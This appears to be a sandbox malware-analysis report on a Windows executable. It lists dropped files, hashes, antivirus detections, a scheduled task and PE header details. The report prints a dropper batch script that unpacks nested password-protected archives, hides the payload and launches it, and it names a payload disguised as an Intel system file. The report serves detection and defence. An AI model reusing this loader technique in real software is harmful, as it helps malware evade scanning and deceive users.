SHA-256:	EC94A6666A3103BA6BE60B92E843075A2D7FE7D30FA41099C3F3B1E2A5EBA266
SHA-512:	C4B78298C42148D393FEEA6C3941C48DEF7C92EF0E6BAAC99144B083937D0A80D3C15BD9A0BF40DAA60919968B120D62999FA61AF320E507F7E99FBFE9B9EF30
Malicious:	false
Preview:	PK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu....(^......U.{.......l..RtFDi......./

C:\Users\user\AppData\Local\Temp\main\extracted\file_3.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1799902
Entropy (8bit):	7.997726708945573
Encrypted:	true
SSDEEP:	49152:Cyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJV:nj13Trb6i5iGmuXZTbBizt0Jh3
MD5:	5EB39BA3698C99891A6B6EB036CFB653
SHA1:	D2F1CDD59669F006A2F1AA9214AEED48BC88C06E
SHA-256:	E77F5E03AE140DDA27D73E1FFE43F7911E006A108CF51CBD0E05D73AA92DA7C2
SHA-512:	6C4CA20E88D49256ED9CABEC0D1F2B00DFCF3D1603B5C95D158D4438C9F1E58495F8DFA200DBE7F49B5B0DD57886517EB3B98C4190484548720DAD4B3DB6069E
Malicious:	false
Preview:	PK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu..

C:\Users\user\AppData\Local\Temp\main\extracted\file_4.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800056
Entropy (8bit):	7.997723543142523
Encrypted:	true
SSDEEP:	49152:Zyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJQ:Yj13Trb6i5iGmuXZTbBizt0Jhm
MD5:	7187CC2643AFFAB4CA29D92251C96DEE
SHA1:	AB0A4DE90A14551834E12BB2C8C6B9EE517ACAF4
SHA-256:	C7E92A1AF295307FB92AD534E05FBA879A7CF6716F93AEFCA0EBFCB8CEE7A830
SHA-512:	27985D317A5C844871FFB2527D04AA50EF7442B2F00D69D5AB6BBB85CD7BE1D7057FFD3151D0896F05603677C2F7361ED021EAC921E012D74DA049EF6949E3A3
Malicious:	false
Preview:	PK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}.

C:\Users\user\AppData\Local\Temp\main\extracted\file_5.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800210
Entropy (8bit):	7.997720745184939
Encrypted:	true
SSDEEP:	49152:ayj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJw:Pj13Trb6i5iGmuXZTbBizt0JhG
MD5:	B7D1E04629BEC112923446FDA5391731
SHA1:	814055286F963DDAA5BF3019821CB8A565B56CB8
SHA-256:	4DA77D4EE30AD0CD56CD620F4E9DC4016244ACE015C5B4B43F8F37DD8E3A8789
SHA-512:	79FC3606B0FE6A1E31A2ECACC96623CAF236BF2BE692DADAB6EA8FFA4AF4231D782094A63B76631068364AC9B6A872B02F1E080636EBA40ED019C2949A8E28DB
Malicious:	false
Preview:	PK........n..Yab..xw..xw......file_4.zipPK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z..

C:\Users\user\AppData\Local\Temp\main\extracted\file_6.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800364
Entropy (8bit):	7.997716835838842
Encrypted:	true
SSDEEP:	49152:kyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJv:lj13Trb6i5iGmuXZTbBizt0Jht
MD5:	0DC4014FACF82AA027904C1BE1D403C1
SHA1:	5E6D6C020BFC2E6F24F3D237946B0103FE9B1831
SHA-256:	A29DDD29958C64E0AF1A848409E97401307277BB6F11777B1CFB0404A6226DE7
SHA-512:	CBEEAD189918657CC81E844ED9673EE8F743AED29AD9948E90AFDFBECACC9C764FBDBFB92E8C8CEB5AE47CEE52E833E386A304DB0572C7130D1A54FD9C2CC028
Malicious:	false
Preview:	PK........n..Y..+..x...x......file_5.zipPK........n..Yab..xw..xw......file_4.zipPK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..

C:\Users\user\AppData\Local\Temp\main\extracted\file_7.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	3473559
Entropy (8bit):	7.9992359395959935
Encrypted:	true
SSDEEP:	98304:8aR3D0Ae5mwdkDWm1Xo4j13Trb6i5iGmuXZTbBizt0Jhd:ds5m6sXoArb6iguZnBi5Qd
MD5:	CEA368FC334A9AEC1ECFF4B15612E5B0
SHA1:	493D23F72731BB570D904014FFDACBBA2334CE26
SHA-256:	07E38CAD68B0CDBEA62F55F9BC6EE80545C2E1A39983BAA222E8AF788F028541
SHA-512:	BED35A1CC56F32E0109EA5A02578489682A990B5CEFA58D7CF778815254AF9849E731031E824ADBA07C86C8425DF58A1967AC84CE004C62E316A2E51A75C8748
Malicious:	false
Preview:	PK........n..Y`.T......#.....AntiAV.data..E..@.D..C/qwg..;...mG.3H..\|...$..}.`..8......lV1..4...Cu.H.(l+{Cl.:........$+Nr....\.u.K_1N:k.'....F...... .....+.70..R.>..A..#6L.:..n..7......Y..y......v.,....=...e....fe.4.@...h..+....=.#...T......A..\|...{A.p{.b*.\|.[...Q...z.v.....iD.....W.....;...........YVL._._.F..4./g;syC.....e,.N..>t.43..p.T4?.K.....:Z.XDVS.gj.)cp..A9.7^.d.M.d.j..c:.(T<J._3-..8.,."s.'...B\.q...\..e.!..{l.\.]'.P.2}..l@^.G...{n..p..u.n.1;W..#..p.A.YD7.....,.o..z;.6T../.w..=.3K5..]............U...,r....n....(..I.....Q.o%.NF..Q.h$y.".7.tU..eVe.b.q.S4%"C..$g..iX..XQl..?Z.U.\|.g....&.d..Y.\|..5O...s.\|..A..@.Y1F.o.o.s.'UY.AU#....D.K.....A....=t.M..L4...{.....BF.Rg.-...j..p.c..'.2....].m..w37t...Rn.r....v....W..g0E......)-.6.=v/.9...o..~.mh.U.&...5.ld4k.gG.G.S.w4G..]'.5......r..Q.U.U.9.Vv....2.>....p.s.p..e....(..}Jox.....Z..[Y..ku.....5....s.././....:...v......h.u.ZlG.>).,.(....Ye<.....3...:T:)...-).=.L.=.2F....&H7..j..\.B6.Ox.\....

C:\Users\user\AppData\Local\Temp\main\extracted\in.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1827328
Entropy (8bit):	7.963282633529333
Encrypted:	false
SSDEEP:	49152:2AVavyjrvfTYx9Z+tylUcecGjcM7B68ue7KhNzw:2AkvyvfTYxTUTj77B68uRe
MD5:	83D75087C9BF6E4F07C36E550731CCDE
SHA1:	D5FF596961CCE5F03F842CFD8F27DDE6F124E3AE
SHA-256:	46DB3164BEBFFC61C201FE1E086BFFE129DDFED575E6D839DDB4F9622963FB3F
SHA-512:	044E1F5507E92715CE9DF8BB802E83157237A2F96F39BAC3B6A444175F1160C4D82F41A0BCECF5FEAF1C919272ED7929BAEF929A8C3F07DEECEBC44B0435164A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Pg.........."...............-...H...-....@..............................I...........`...................................................H...............H...............H...............................H.(.....H.8...........................................UPX0......-.............................UPX1..........-.....................@...UPX2..........H.....................@...4.24.UPX!.$..=g.7....Z.H......zH.I..-.3..VH.. H......................1...MZ...o"uKHcQ<.<.PE.>H..8Q.6...[.J.t..lu'.yt.r!H....y........"....9.o.m.........1ZH....g.n.....l8..0..0..!.0..\|..(.(,....8.u....'~....*../.. ^.....(v...w....YR....oD.i....H.D$ ~.9..FL......\..(..<..u....I..D.I...f.AWAVVWS.eN.%0g.....x.5.2.H..>...t.H..}.9.t)L..g..f.H....>....A..Q.u.=.X..........:\|...oh.?.....^......;.]uzZ..{Q.s`AF..2PQd......p..B....o...t.1.=E6...'u7.p.)<Z.,(".f....Z..a..,+.GLO,v...\=^X...

C:\Users\user\AppData\Local\Temp\main\file.bin

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:	49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	false
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\file.zip (copy)

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:	49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	false
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\main.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.0791308599041844
Encrypted:	false
SSDEEP:	12:QUp+CF16g64CTFMj2LIQLvDHW7PCVGrMLvmuCogLKO8NerxVv:QUpNF16g632CkezWDCVGYTOLv8k7
MD5:	3626532127E3066DF98E34C3D56A1869
SHA1:	5FA7102F02615AFDE4EFD4ED091744E842C63F78
SHA-256:	2A0E18EF585DB0802269B8C1DDCCB95CE4C0BAC747E207EE6131DEE989788BCA
SHA-512:	DCCE66D6E24D5A4A352874144871CD73C327E04C1B50764399457D8D70A9515F5BC0A650232763BF34D4830BAB70EE4539646E7625CFE5336A870E311043B2BD
Malicious:	false
Preview:	..&cls..@echo off..mode 65,10..title g3g34g34g34g43 (34g34g45h6hj56j56j)..md extracted..ren file.bin file.zip..call 7z.exe e file.zip -p24291711423417250691697322505 -oextracted ..for /l %%i in (7,-1,1) do (..call 7z.exe e extracted/file_%%i.zip -oextracted..)..ren file.zip file.bin..cd extracted..move "in.exe" ../..cd....rd /s /q extracted..attrib +H "in.exe"..start "" "in.exe"..cls..echo Launched 'in.exe'...pause..del /f /q "in.exe"..

C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\in.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1827328
Entropy (8bit):	7.963282633529333
Encrypted:	false
SSDEEP:	49152:2AVavyjrvfTYx9Z+tylUcecGjcM7B68ue7KhNzw:2AkvyvfTYxTUTj77B68uRe
MD5:	83D75087C9BF6E4F07C36E550731CCDE
SHA1:	D5FF596961CCE5F03F842CFD8F27DDE6F124E3AE
SHA-256:	46DB3164BEBFFC61C201FE1E086BFFE129DDFED575E6D839DDB4F9622963FB3F
SHA-512:	044E1F5507E92715CE9DF8BB802E83157237A2F96F39BAC3B6A444175F1160C4D82F41A0BCECF5FEAF1C919272ED7929BAEF929A8C3F07DEECEBC44B0435164A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Pg.........."...............-...H...-....@..............................I...........`...................................................H...............H...............H...............................H.(.....H.8...........................................UPX0......-.............................UPX1..........-.....................@...UPX2..........H.....................@...4.24.UPX!.$..=g.7....Z.H......zH.I..-.3..VH.. H......................1...MZ...o"uKHcQ<.<.PE.>H..8Q.6...[.J.t..lu'.yt.r!H....y........"....9.o.m.........1ZH....g.n.....l8..0..0..!.0..\|..(.(,....8.u....'~....*../.. ^.....(v...w....YR....oD.i....H.D$ ~.9..FL......\..(..<..u....I..D.I...f.AWAVVWS.eN.%0g.....x.5.2.H..>...t.H..}.9.t)L..g..f.H....>....A..Q.u.=.X..........:\|...oh.?.....^......;.]uzZ..{Q.s`AF..2PQd......p..B....o...t.1.=E6...'u7.p.)<Z.,(".f....Z..a..,+.GLO,v...\=^X...

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.3911388494428154
Encrypted:	false
SSDEEP:	6:3QW3X55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lkl0ut0:duQ1CGAFifXVkldt0
MD5:	F37555A257EA1FF62A67E84E7DEF605E
SHA1:	E33849D302C82CDB542E86679E6122A1DDE626C1
SHA-256:	0AB3F7A5FF7B4A6DF57E591697BBAD0E18236491C6CD3A428171ACBF81B2A0D5
SHA-512:	20404607AFFF0186C51ACA258A51946A92D336AB6EE8E6D7DB0EB555F621CC233969BBAEC6DCC20AAF0F43DDABB46FCBE04E56DF271DD898EE821C9944951FF8
Malicious:	false
Preview:	....i.K..HN.f..mL.9F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	350
Entropy (8bit):	5.0682682106683945
Encrypted:	false
SSDEEP:	6:AMMyS3pt+uoQcAxXF2SaioBQypHSTgqF1AivwtHgNmtQFfpap1tNjtv:pMpDh5RwXSTgqFyYwzuJA1tNp
MD5:	2F644B7E25627553C5731B735473C859
SHA1:	5A3C2158A1FCF27AE6807A8079894FFE8D33FBEA
SHA-256:	2B34B0DE62F49C19D1F9A004AD698E2612F7FCD5072F5C9834621C62F15FB55F
SHA-512:	E83CA818C9785EB3A0297E65F08E22DC9E29A368BCADC9887B64EC746C88B79ACBAD20B4B6D49C07CB819ACE21B00C2BEB083F18A0CD5528D2BD00A7B0C4E802
Malicious:	false
Preview:	..7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21....Scanning the drive for archives:.. 0M Scan. .1 file, 1799594 bytes (1758 KiB)....Extracting archive: extracted\file_1.zip..--..Path = extracted\file_1.zip..Type = zip..Physical Size = 1799594.... 0%. .Everything is Ok....Size: 1827328..Compressed: 1799594..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.555405245673515
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'062'272 bytes
MD5:	6a4ba197b4062e45bf460d01882d5485
SHA1:	67b4595d9580924f147a8f9c79db814fec56246c
SHA256:	ec72f60168268d0e1b76fc4387b2d026aabf6a75d294c016d0b3c0e0532a8db3
SHA512:	8e14aad9dc61028b45b14e90451b9c4224c68b148afaa50164180b5e20e4201bc4e1e9b0f5c9eb0104732550677f83b821ae2f0ccb662136f0b09e8f20dfe1f2
SSDEEP:	49152:9FnfrYjd6lIL2hajQNELV1sTM3w/3upoIYtCXy/cz:3DGd6lE2hajQNELgMgvuKtCC/cz
TLSH:	8BE56BB2B10A71CFD08A3774A077CE7AAA5C07B9572044D3A85D647AFE77CC612B9C24
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x726000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F526484EF5Ah
sets byte ptr [esi]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00h], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x4d8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x324d4c	0x10	xgfpmqas
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x324cfc	0x18	xgfpmqas
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	f862c075f8eb496d7a9308530c8e5f2b	False	0.9983076464577657	data	7.984574891462094	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x4d8	0x600	bc2cfc1f093eaac61e2d543377a7538d	False	0.359375	data	5.179173367867664	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
